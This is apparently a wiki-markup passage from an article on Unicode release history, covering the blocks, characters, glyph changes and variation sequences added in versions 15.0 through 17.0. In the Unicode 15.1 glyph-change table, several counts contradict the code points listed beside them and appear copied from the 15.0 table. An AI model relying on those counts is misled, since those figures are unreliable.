* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
